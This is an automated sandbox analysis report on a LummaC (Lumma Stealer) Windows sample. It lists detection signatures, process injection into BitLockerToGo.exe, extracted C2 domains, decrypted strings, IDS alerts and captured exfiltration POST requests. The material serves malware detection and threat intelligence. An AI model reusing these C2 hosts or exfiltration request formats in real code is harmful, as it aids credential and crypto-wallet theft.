Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Analysis ID:	1467157
MD5:	f308be1162c86c3d72ad06c4c85a67d4
SHA1:	c09e56bde09f752265d8527dd930715ce8e149e2
SHA256:	842e6467d3f6bddb484929a8dba9757920e0b484d8addf40a8fe69f8b205f174
Tags:	exeLummaStealer
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe (PID: 6660 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe" MD5: F308BE1162C86C3D72AD06C4C85A67D4)

BitLockerToGo.exe (PID: 1868 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["pedestriankodwu.xyz", "towerxxuytwi.xyz", "ellaboratepwsz.xyz", "penetratedpoopp.xyz", "swellfrrgwwos.xyz", "contintnetksows.shop", "foodypannyjsud.shop", "potterryisiw.shop", "willingyhollowsk.shop", "pedestriankodwu.xyz", "towerxxuytwi.xyz", "ellaboratepwsz.xyz", "penetratedpoopp.xyz", "swellfrrgwwos.xyz", "contintnetksows.shop", "foodypannyjsud.shop", "potterryisiw.shop", "willingyhollowsk.shop"], "Build id": "fuOLMb--palpatine"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1758162937.000000C000918000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
Process Memory Space: BitLockerToGo.exe PID: 1868	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 1868	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 1868	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:31.842065
SID:	2054183
Source Port:	49743
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (willingyhollowsk .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	07/03/24-19:31:21.307377
SID:	2053384
Source Port:	58968
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:33.722455
SID:	2054183
Source Port:	49744
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:27.386052
SID:	2054183
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:25.885422
SID:	2054183
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:29.390988
SID:	2054183
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:24.402178
SID:	2054183
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:22.348758
SID:	2054183
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (potterryisiw .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	07/03/24-19:31:21.319048
SID:	2054182
Source Port:	55667
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:21.346175
SID:	2054183
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	07/03/24-19:31:30.493459
SID:	2054183
Source Port:	49742
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://potterryisiw.shop/s.j	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/l	Avira URL Cloud: Label: malware
Source: penetratedpoopp.xyz	Avira URL Cloud: Label: malware
Source: ellaboratepwsz.xyz	Avira URL Cloud: Label: malware
Source: swellfrrgwwos.xyz	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/5	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/apip	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/api9	Avira URL Cloud: Label: malware
Source: towerxxuytwi.xyz	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/apit	Avira URL Cloud: Label: malware
Source: potterryisiw.shop	Avira URL Cloud: Label: malware
Source: contintnetksows.shop	Avira URL Cloud: Label: malware
Source: pedestriankodwu.xyz	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/apiRF2	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/api	Avira URL Cloud: Label: malware
Source: foodypannyjsud.shop	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/Ua3	Avira URL Cloud: Label: malware
Source: https://potterryisiw.shop/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.3.SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe.c000604000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["pedestriankodwu.xyz", "towerxxuytwi.xyz", "ellaboratepwsz.xyz", "penetratedpoopp.xyz", "swellfrrgwwos.xyz", "contintnetksows.shop", "foodypannyjsud.shop", "potterryisiw.shop", "willingyhollowsk.shop", "pedestriankodwu.xyz", "towerxxuytwi.xyz", "ellaboratepwsz.xyz", "penetratedpoopp.xyz", "swellfrrgwwos.xyz", "contintnetksows.shop", "foodypannyjsud.shop", "potterryisiw.shop", "willingyhollowsk.shop"], "Build id": "fuOLMb--palpatine"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.3% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: pedestriankodwu.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: towerxxuytwi.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ellaboratepwsz.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: penetratedpoopp.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: swellfrrgwwos.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: contintnetksows.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: foodypannyjsud.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: potterryisiw.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: willingyhollowsk.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: pedestriankodwu.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: towerxxuytwi.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ellaboratepwsz.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: penetratedpoopp.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: swellfrrgwwos.xyz
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: contintnetksows.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: foodypannyjsud.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: potterryisiw.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: willingyhollowsk.shop
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1702859733.000000C000604000.00000004.00001000.00020000.00000000.sdmp	String decryptor: fuOLMb--palpatine

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_02447866 CryptUnprotectData,

2_2_02447866

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835322453.0000018422360000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835355851.0000018422320000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1846140099.000000C000604000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1845670772.000000C00048E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835322453.0000018422360000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000003.1835355851.0000018422320000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1846140099.000000C000604000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe, 00000000.00000002.1845670772.000000C00048E000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], di	2_2_02449284
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], di	2_2_02449284
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+50h]	2_2_02447293
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], al	2_2_02448349
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+10h]	2_2_02448349
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 077DEFCDh	2_2_0246D130
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], E4AA2089h	2_2_024526F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_024534B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esi]	2_2_02469B15
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000574h]	2_2_02457BF1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	2_2_0246980B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_024518B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000888h]	2_2_0244FE8B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000888h]	2_2_0244FE8B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_02450E98
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	2_2_02450E98
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0244BF50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_02446F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push edi	2_2_02446F50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	2_2_02440F3E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+30h]	2_2_02438280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, dx	2_2_0245901A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esi+000001F0h], 587A4C12h	2_2_0245901A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [eax], 0000h	2_2_02446149
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ecx	2_2_02446149
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+ebx], 0000h	2_2_0244C110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], dx	2_2_0244C110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], dl	2_2_024571E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then or ebp, 08h	2_2_0243161F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then or ebp, 08h	2_2_0243161F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_02469631
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	2_2_024336F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_024316B3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_02457773
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then dec edi	2_2_0246D710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_02469445
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+0Ch]	2_2_0246B40A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_024694C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_024314E8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_02453480
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_02463560
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_024515EF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp]	2_2_024415F7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	2_2_0243EA20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ebx	2_2_02433A30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add ebx, 02h	2_2_02444A9B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+000000B4h]	2_2_02457ABC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	2_2_024568D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_02439970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	2_2_02439970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], al	2_2_0245991D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then inc ebx	2_2_024469A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	2_2_02454ED7
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_02452EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	2_2_02452EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp edx	2_2_02451C30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [0247424Ch]	2_2_0244BDD3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_02465DD9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ecx], dl	2_2_02438DA0

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2053384 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (willingyhollowsk .shop) 192.168.2.4:58968 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2054182 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (potterryisiw .shop) 192.168.2.4:55667 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49732 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49735 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49737 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49739 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49740 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49741 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49742 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49743 -> 188.114.96.3:443
Source: Traffic	Snort IDS: 2054183 ET TROJAN Observed Lumma Stealer Related Domain (potterryisiw .shop in TLS SNI) 192.168.2.4:49744 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: pedestriankodwu.xyz
Source: Malware configuration extractor	URLs: towerxxuytwi.xyz
Source: Malware configuration extractor	URLs: ellaboratepwsz.xyz
Source: Malware configuration extractor	URLs: penetratedpoopp.xyz
Source: Malware configuration extractor	URLs: swellfrrgwwos.xyz
Source: Malware configuration extractor	URLs: contintnetksows.shop
Source: Malware configuration extractor	URLs: foodypannyjsud.shop
Source: Malware configuration extractor	URLs: potterryisiw.shop
Source: Malware configuration extractor	URLs: willingyhollowsk.shop
Source: Malware configuration extractor	URLs: pedestriankodwu.xyz
Source: Malware configuration extractor	URLs: towerxxuytwi.xyz
Source: Malware configuration extractor	URLs: ellaboratepwsz.xyz
Source: Malware configuration extractor	URLs: penetratedpoopp.xyz
Source: Malware configuration extractor	URLs: swellfrrgwwos.xyz
Source: Malware configuration extractor	URLs: contintnetksows.shop
Source: Malware configuration extractor	URLs: foodypannyjsud.shop
Source: Malware configuration extractor	URLs: potterryisiw.shop
Source: Malware configuration extractor	URLs: willingyhollowsk.shop

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18167Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8788Host: potterryisiw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20441Host: potterryisiw.shop
